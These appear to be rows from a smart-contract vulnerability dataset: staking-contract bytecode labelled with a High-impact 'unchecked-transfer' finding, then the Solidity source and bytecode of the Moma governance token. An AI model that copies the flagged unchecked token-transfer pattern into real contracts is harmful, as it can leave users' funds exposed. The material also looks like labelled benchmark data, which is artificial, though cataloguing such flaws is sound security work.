0190fd5b6000828152600e60209081526040808320805460ff19166001179055600c90915290205442106109a9576108e86108cd83611280565b6000848152600d60205260409020549063ffffffff611bdb16565b6000838152600f60209081526040808320849055600854815160e060020a6323b872dd02815230600482015233602482015260448101959095529051600160a060020a03909116936323b872dd9360648083019493928390030190829087803b15801561095457600080fd5b505af1158015610968573d6000803e3d6000fd5b505050506040513d602081101561097e57600080fd5b50506000828152600d60205260409020546016546109a19163ffffffff611c3f16565b601655610a7b565b6109b56108cd836111c6565b6000838152600f6020908152604080832093909355600854600d825283832054845160e060020a6323b872dd02815230600482015233602482015260448101919091529351600160a060020a03909116936323b872dd9360648083019493928390030190829087803b158015610a2a57600080fd5b505af1158015610a3e573d6000803e3d6000fd5b505050506040513d6020811015610a5457600080fd5b50506000828152600d6020526040902054601654610a779163ffffffff611c3f16565b6016555b610cd3565b60008281526010602052604090205460b41415610bfc576000828152600b60205260409020546276a70001421015610b4e576040805160e560020a62461bcd02815260206004820152605f60248201527f556e61626c6520746f205769746864726177205374616b656420746f6b656e2060448201527f6265666f72652033302064617973206f66207374616b696e672073746172742060648201527f74696d652c20506c656173652054727920416761696e204c6174657221212100608482015290519081900360a40190fd5b6000828152600e60209081526040808320805460ff19166001179055600c9091529020544210610b84576108e86108cd83611280565b610b906108cd836111c6565b6000838152600f60209081526040808320849055600854815160e060020a6323b872dd02815230600482015233602482015260448101959095529051600160a060020a03909116936323b872dd9360648083019493928390030190829087803b158015610a2a57600080fd5b60008281526010602052604090205461010e1415610ccb576000828152600b602052604090205462b1fa8001421015610b4e576040805160e560020a62461bcd02815260206004820152605f60248201527f556e61626c6520746f205769746864726177205374616b656420746f6b656e2060448201527f6265666f72652036302064617973206f66207374616b696e672073746172742060648201527f74696d652c20506c656173652054727920416761696e204c6174657221212100608482015290519081900360a40190fd5b50600061069e565b506001919050565b6000610ce5611ca1565b1515610d3d576040805160e560020a62461bcd02815260206004820152602e6024820152600080516020611cf38339815191526044820152600080516020611d13833981519152606482015290519081900360840190fd5b8315801590610d4b57508215155b8015610d5657508115155b1515610dd2576040805160e560020a62461bcd02815260206004820152603760248201527f496e76616c6964205265776172642056616c7565206f72205a65726f2076616c60448201527f75652c20506c656173652054727920416761696e212121000000000000000000606482015290519081900360840190fd5b50600292909255600355600455600190565b62b1fa8081565b6000610df5611ca1565b1515610e4d576040805160e560020a62461bcd02815260206004820152602e6024820152600080516020611cf38339815191526044820152600080516020611d13833981519152606482015290519081900360840190fd5b601254610e60908363ffffffff611bdb16565b6012556008546040805160e060020a6323b872dd028152336004820152306024820152604481018590529051600160a060020a03909216916323b872dd916064808201926020929091908290030181600087803b158015610ec057600080fd5b505af1158015610ed4573d6000803e3d6000fd5b505050506040513d6020811015610eea57600080fd5b5060019392505050565b61010e81565b601154600090821115610f59576040805160e560020a62461bcd02815260206004820152603b6024820152600080516020611cb38339815191526044820152600080516020611cd3833981519152606482015290519081900360840190fd5b506000908152600d602052604090205490565b60115490565b60155490565b6000610f82611ca1565b1515610fda576040805160e560020a62461bcd02815260206004820152602e6024820152600080516020611cf38339815191526044820152600080516020611d13833981519152606482015290519081900360840190fd5b5060088054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b60165490565b605a81565b601154600090821115611076576040805160e560020a62461bcd02815260206004820152603b6024820152600080516020611cb38339815191526044820152600080516020611cd3833981519152606482015290519081900360840190fd5b506000908152600c602052604090205490565b6011546000908211156110e8576040805160e560020a62461bcd02815260206004820152603b6024820152600080516020611cb38339815191526044820152600080516020611cd3833981519152606482015290519081900360840190fd5b506000908152600e602052604090205460ff1690565b623b538081565b6000908152600f602052604090205490565b60065481565b60025481565b60b481565b60055481565b611136611ca1565b151561118e576040805160e560020a62461bcd02815260206004820152602e6024820152600080516020611cf38339815191526044820152600080516020611d13833981519152606482015290519081900360840190fd5b6014805460ff191660011790556040517f9e87fac88ff661f02d44f95383c817fece4bce600a3dab7a54406878b965e75290600090a1565b6000818152600c6020526040812054421015610ccb57600082815260106020526040902054605a1415611215576005546000838152600d60205260409020546305f5e10091025b04905061069e565b60008281526010602052604090205460b4141561124a576006546000838152600d60205260409020546305f5e100910261120d565b60008281526010602052604090205461010e1415610ccb576007546000838152600d60205260409020546305f5e100910261120d565b600081815260106020526040812054605a14156112b5576002546000838152600d60205260409020546305f5e100910261120d565b60008281526010602052604090205460b414156112ea576003546000838152600d60205260409020546305f5e100910261120d565b60008281526010602052604090205461010e1415610ccb576004546000838152600d60205260409020546305f5e100910261120d565b60145460ff1681565b611331611ca1565b1515611389576040805160e560020a62461bcd02815260206004820152602e6024820152600080516020611cf38339815191526044820152600080516020611d13833981519152606482015290519081900360840190fd5b6014805460ff191690556040517fa45f47fdea8a1efdd9029a5691c7f759c32b7c698632b563573e155625d1693390600090a1565b60045481565b60165481565b6276a70081565b601154600090821115611430576040805160e560020a62461bcd02815260206004820152603b6024820152600080516020611cb38339815191526044820152600080516020611cd3833981519152606482015290519081900360840190fd5b50600090815260096020526040902054600160a060020a031690565b6011546000908211156114ab576040805160e560020a62461bcd02815260206004820152603b6024820152600080516020611cb38339815191526044820152600080516020611cd3833981519152606482015290519081900360840190fd5b5060009081526010602052604090205490565b60006114c8611ca1565b1515611520576040805160e560020a62461bcd02815260206004820152602e6024820152600080516020611cf38339815191526044820152600080516020611d13833981519152606482015290519081900360840190fd5b601254821061159f576040805160e560020a62461bcd02815260206004820152602a60248201527f56616c7565206973206e6f74206665617369626c652c20506c6561736520547260448201527f7920416761696e21212100000000000000000000000000000000000000000000606482015290519081900360840190fd5b6012546115b2908363ffffffff611c3f16565b6012556008546040805160e060020a6323b872dd028152306004820152336024820152604481018590529051600160a060020a03909216916323b872dd916064808201926020929091908290030181600087803b158015610ec057600080fd5b6060600160a060020a038216151561169a576040805160e560020a62461bcd02815260206004820152602360248201527f496e76616c696420416464726573732c20506c6561652054727920416761696e60448201527f2121210000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0382166000908152600a6020908152604091829020805483518184028101840190945280845290918301828280156116f857602002820191906000526020600020905b8154815260200190600101908083116116e4575b50505050509050919050565b600061170e611ca1565b1515611766576040805160e560020a62461bcd02815260206004820152602e6024820152600080516020611cf38339815191526044820152600080516020611d13833981519152606482015290519081900360840190fd5b831580159061177457508215155b801561177f57508115155b15156117fb576040805160e560020a62461bcd02815260206004820152603860248201527f496e76616c69642050656e616c74792056616c7565206f72205a65726f20766160448201527f6c75652c20506c656173652054727920416761696e2121210000000000000000606482015290519081900360840190fd5b50600592909255600655600755600190565b60155481565b60075481565b60035481565b6000611829611ca1565b1515611881576040805160e560020a62461bcd02815260206004820152602e6024820152600080516020611cf38339815191526044820152600080516020611d13833981519152606482015290519081900360840190fd5b5060008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b60125490565b600054600160a060020a031690565b60008282828211611949576040805160e560020a62461bcd02815260206004820152602a60248201527f496e76616c696420546f6b656e20416d6f756e742c20506c656173652054727960448201527f20416761696e2121212000000000000000000000000000000000000000000000606482015290519081900360840190fd5b605a811480611958575060b481145b80611964575061010e81145b15156119e0576040805160e560020a62461bcd02815260206004820152602d60248201527f456e746572207468652056616c69642054696d6520506572696f6420616e642060448201527f54727920416761696e2021212100000000000000000000000000000000000000606482015290519081900360840190fd5b60145460ff1615611a61576040805160e560020a62461bcd02815260206004820152603b60248201527f5374616b696e67206973205061757365642c20506c656173652074727920616660448201527f746572207374616b696e672067657420756e7061757365642121210000000000606482015290519081900360840190fd5b426201518085028101601390815560118054600190810180835560009081526010602090815260408083208b90558454835260098252808320805473ffffffffffffffffffffffffffffffffffffffff1916339081179091558352600a825280832085548154808701835591855283852090910155945484548352600c82528583205583548252600b81528482209590955582548152600d85528381208a905582548152600e90945291909220805460ff191690558154019055601554611b2e908663ffffffff611bdb16565b601555601654611b44908663ffffffff611bdb16565b6016556008546040805160e060020a6323b872dd028152336004820152306024820152604481018890529051600160a060020a03909216916323b872dd916064808201926020929091908290030181600087803b158015611ba457600080fd5b505af1158015611bb8573d6000803e3d6000fd5b505050506040513d6020811015611bce57600080fd5b5060019695505050505050565b600082820183811015611c38576040805160e560020a62461bcd02815260206004820152601160248201527f43616c63756c6174696f6e206572726f72000000000000000000000000000000604482015290519081900360640190fd5b9392505050565b60008083831115611c9a576040805160e560020a62461bcd02815260206004820152601160248201527f43616c63756c6174696f6e206572726f72000000000000000000000000000000604482015290519081900360640190fd5b5050900390565b600054600160a060020a03163314905600556e61626c6520746f2072657465726976652064617461206f6e207370656369666965642069642c20506c656173652074727920616761696e21210000000000596f7520617265206e6f742061757468656e74696361746520746f206d616b652074686973207472616e73666572000000000000000000000000000000000000a165627a7a723058203f7cead6c1e2d13be413c7eb805bca060f9941426047ee0d1202993fff6044600029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 8,959 |
0x865bb9a28041259b4badafd37799a288aabbfc8c
|
pragma solidity 0.5.17;
pragma experimental ABIEncoderV2;
contract Moma {
/// @notice EIP-20 token name for this token
string public constant name = "Moma Token";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "MOMAT";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 100000000e18; // 100 million Moma
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Moma token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Moma::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Moma::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Moma::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Moma::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Moma::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Moma::delegateBySig: invalid nonce");
require(now <= expiry, "Moma::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Moma::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Moma::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Moma::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Moma::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Moma::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Moma::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Moma::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Moma::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea571461025f578063c3cda52014610272578063dd62ed3e14610285578063e7a324dc14610298578063f1127ed8146102a057610121565b806370a08231146101fe578063782d6fe1146102115780637ecebe001461023157806395d89b4114610244578063a9059cbb1461024c57610121565b806323b872dd116100f457806323b872dd14610181578063313ce56714610194578063587cde1e146101a95780635c19a95c146101c95780636fcfff45146101de57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016457806320606b7014610179575b600080fd5b61012e6102c1565b60405161013b9190611741565b60405180910390f35b61015761015236600461120a565b6102e7565b60405161013b9190611697565b61016c6103a4565b60405161013b91906116a5565b61016c6103b3565b61015761018f3660046111bd565b6103ca565b61019c61050f565b60405161013b91906117db565b6101bc6101b736600461115d565b610514565b60405161013b9190611689565b6101dc6101d736600461115d565b61052f565b005b6101f16101ec36600461115d565b61053c565b60405161013b91906117b2565b61016c61020c36600461115d565b610554565b61022461021f36600461120a565b610578565b60405161013b91906117f7565b61016c61023f36600461115d565b61078f565b61012e6107a1565b61015761025a36600461120a565b6107c2565b61022461026d36600461115d565b6107fe565b6101dc61028036600461123a565b61086e565b61016c610293366004611183565b610a5a565b61016c610a8c565b6102b36102ae3660046112c1565b610a98565b60405161013b9291906117c0565b6040518060400160405280600a81526020016926b7b6b0902a37b5b2b760b11b81525081565b6000806000198314156102fd5750600019610322565b61031f8360405180606001604052806025815260200161196a60259139610acd565b90505b336000818152602081815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103909085906117e9565b60405180910390a360019150505b92915050565b6a52b7d2dcc80cd2e400000081565b6040516103bf90611673565b604051809103902081565b6001600160a01b0383166000908152602081815260408083203380855290835281842054825160608101909352602580845291936001600160601b03909116928592610420928892919061196a90830139610acd565b9050866001600160a01b0316836001600160a01b03161415801561044d57506001600160601b0382811614155b156104f557600061047783836040518060600160405280603d81526020016119c3603d9139610afc565b6001600160a01b03898116600081815260208181526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104eb9085906117e9565b60405180910390a3505b610500878783610b3b565b600193505050505b9392505050565b601281565b6002602052600090815260409020546001600160a01b031681565b6105393382610ce6565b50565b60046020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600160205260409020546001600160601b031690565b60004382106105a25760405162461bcd60e51b815260040161059990611762565b60405180910390fd5b6001600160a01b03831660009081526004602052604090205463ffffffff16806105d057600091505061039e565b6001600160a01b038416600090815260036020908152604080832063ffffffff60001986018116855292529091205416831061064c576001600160a01b03841660009081526003602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b0316905061039e565b6001600160a01b038416600090815260036020908152604080832083805290915290205463ffffffff1683101561068757600091505061039e565b600060001982015b8163ffffffff168163ffffffff16111561074a57600282820363ffffffff160481036106b961111a565b506001600160a01b038716600090815260036020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b031691810191909152908714156107255760200151945061039e9350505050565b805163ffffffff1687111561073c57819350610743565b6001820392505b505061068f565b506001600160a01b038516600090815260036020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60056020526000908152604090205481565b604051806040016040528060058152602001641353d3505560da1b81525081565b6000806107e783604051806060016040528060268152602001611a2860269139610acd565b90506107f4338583610b3b565b5060019392505050565b6001600160a01b03811660009081526004602052604081205463ffffffff1680610829576000610508565b6001600160a01b0383166000908152600360209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03169392505050565b600060405161087c90611673565b60408051918290038220828201909152600a82526926b7b6b0902a37b5b2b760b11b6020909201919091527feca0a25d1ef12749683449fd7f63a0286f104deb3aaf3903ada9657c22697b2d6108d0610d70565b306040516020016108e494939291906116f1565b604051602081830303815290604052805190602001209050600060405161090a9061167e565b604051908190038120610925918a908a908a906020016116b3565b60405160208183030381529060405280519060200120905060008282604051602001610952929190611642565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161098f9493929190611726565b6020604051602081039080840390855afa1580156109b1573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166109e45760405162461bcd60e51b815260040161059990611772565b6001600160a01b03811660009081526005602052604090208054600181019091558914610a235760405162461bcd60e51b815260040161059990611752565b87421115610a435760405162461bcd60e51b8152600401610599906117a2565b610a4d818b610ce6565b505050505b505050505050565b6001600160a01b039182166000908152602081815260408083209390941682529190915220546001600160601b031690565b6040516103bf9061167e565b600360209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610af45760405162461bcd60e51b81526004016105999190611741565b509192915050565b6000836001600160601b0316836001600160601b031611158290610b335760405162461bcd60e51b81526004016105999190611741565b505050900390565b6001600160a01b038316610b615760405162461bcd60e51b815260040161059990611792565b6001600160a01b038216610b875760405162461bcd60e51b815260040161059990611782565b6001600160a01b038316600090815260016020908152604091829020548251606081019093526036808452610bd2936001600160601b0390921692859291906118dd90830139610afc565b6001600160a01b03848116600090815260016020908152604080832080546001600160601b0319166001600160601b03968716179055928616825290829020548251606081019093526030808452610c3a949190911692859290919061191390830139610d74565b6001600160a01b038381166000818152600160205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ca79085906117e9565b60405180910390a36001600160a01b03808416600090815260026020526040808220548584168352912054610ce192918216911683610db0565b505050565b6001600160a01b03808316600081815260026020818152604080842080546001845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610d6a828483610db0565b50505050565b4690565b6000838301826001600160601b038087169083161015610da75760405162461bcd60e51b81526004016105999190611741565b50949350505050565b816001600160a01b0316836001600160a01b031614158015610ddb57506000816001600160601b0316115b15610ce1576001600160a01b03831615610e93576001600160a01b03831660009081526004602052604081205463ffffffff169081610e1b576000610e5a565b6001600160a01b0385166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610e818285604051806060016040528060288152602001611a0060289139610afc565b9050610e8f86848484610f3e565b5050505b6001600160a01b03821615610ce1576001600160a01b03821660009081526004602052604081205463ffffffff169081610ece576000610f0d565b6001600160a01b0384166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610f34828560405180606001604052806027815260200161194360279139610d74565b9050610a52858484845b6000610f624360405180606001604052806034815260200161198f603491396110f3565b905060008463ffffffff16118015610fab57506001600160a01b038516600090815260036020908152604080832063ffffffff6000198901811685529252909120548282169116145b1561100a576001600160a01b0385166000908152600360209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b038516021790556110a9565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600383528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600490935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a72484846040516110e4929190611805565b60405180910390a25050505050565b600081600160201b8410610af45760405162461bcd60e51b81526004016105999190611741565b604080518082019091526000808252602082015290565b803561039e816118ad565b803561039e816118c1565b803561039e816118ca565b803561039e816118d3565b60006020828403121561116f57600080fd5b600061117b8484611131565b949350505050565b6000806040838503121561119657600080fd5b60006111a28585611131565b92505060206111b385828601611131565b9150509250929050565b6000806000606084860312156111d257600080fd5b60006111de8686611131565b93505060206111ef86828701611131565b92505060406112008682870161113c565b9150509250925092565b6000806040838503121561121d57600080fd5b60006112298585611131565b92505060206111b38582860161113c565b60008060008060008060c0878903121561125357600080fd5b600061125f8989611131565b965050602061127089828a0161113c565b955050604061128189828a0161113c565b945050606061129289828a01611152565b93505060806112a389828a0161113c565b92505060a06112b489828a0161113c565b9150509295509295509295565b600080604083850312156112d457600080fd5b60006112e08585611131565b92505060206111b385828601611147565b6112fa81611832565b82525050565b6112fa8161183d565b6112fa81611842565b6112fa61131e82611842565b611842565b600061132e82611820565b6113388185611824565b9350611348818560208601611877565b611351816118a3565b9093019392505050565b6000611368602283611824565b7f4d6f6d613a3a64656c656761746542795369673a20696e76616c6964206e6f6e815261636560f01b602082015260400192915050565b60006113ac60028361182d565b61190160f01b815260020192915050565b60006113ca602783611824565b7f4d6f6d613a3a6765745072696f72566f7465733a206e6f742079657420646574815266195c9b5a5b995960ca1b602082015260400192915050565b6000611413602683611824565b7f4d6f6d613a3a64656c656761746542795369673a20696e76616c6964207369678152656e617475726560d01b602082015260400192915050565b600061145b60438361182d565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b60006114c6603a83611824565b7f4d6f6d613a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e7366657220746f20746865207a65726f2061646472657373000000000000602082015260400192915050565b6000611525603c83611824565b7f4d6f6d613a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e736665722066726f6d20746865207a65726f206164647265737300000000602082015260400192915050565b6000611584602683611824565b7f4d6f6d613a3a64656c656761746542795369673a207369676e617475726520658152651e1c1a5c995960d21b602082015260400192915050565b60006115cc603a8361182d565b7f44656c65676174696f6e28616464726573732064656c6567617465652c75696e81527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020820152603a0192915050565b6112fa81611851565b6112fa8161185a565b6112fa8161186c565b6112fa81611860565b600061164d8261139f565b91506116598285611312565b6020820191506116698284611312565b5060200192915050565b600061039e8261144e565b600061039e826115bf565b6020810161039e82846112f1565b6020810161039e8284611300565b6020810161039e8284611309565b608081016116c18287611309565b6116ce60208301866112f1565b6116db6040830185611309565b6116e86060830184611309565b95945050505050565b608081016116ff8287611309565b61170c6020830186611309565b6117196040830185611309565b6116e860608301846112f1565b608081016117348287611309565b6116ce6020830186611627565b602080825281016105088184611323565b6020808252810161039e8161135b565b6020808252810161039e816113bd565b6020808252810161039e81611406565b6020808252810161039e816114b9565b6020808252810161039e81611518565b6020808252810161039e81611577565b6020810161039e828461161e565b604081016117ce828561161e565b6105086020830184611639565b6020810161039e8284611627565b6020810161039e8284611630565b6020810161039e8284611639565b604081016118138285611630565b6105086020830184611630565b5190565b90815260200190565b919050565b600061039e82611845565b151590565b90565b6001600160a01b031690565b63ffffffff1690565b60ff1690565b6001600160601b031690565b600061039e82611860565b60005b8381101561189257818101518382015260200161187a565b83811115610d6a5750506000910152565b601f01601f191690565b6118b681611832565b811461053957600080fd5b6118b681611842565b6118b681611851565b6118b68161185a56fe4d6f6d613a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e63654d6f6d613a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f77734d6f6d613a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f77734d6f6d613a3a617070726f76653a20616d6f756e74206578636565647320393620626974734d6f6d613a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d626572206578636565647320333220626974734d6f6d613a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e63654d6f6d613a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f77734d6f6d613a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473a365627a7a72315820b4dc9d70798776117741e98e82b7be6da5c302736228b3831019056f8deaf6456c6578706572696d656e74616cf564736f6c63430005110040
|
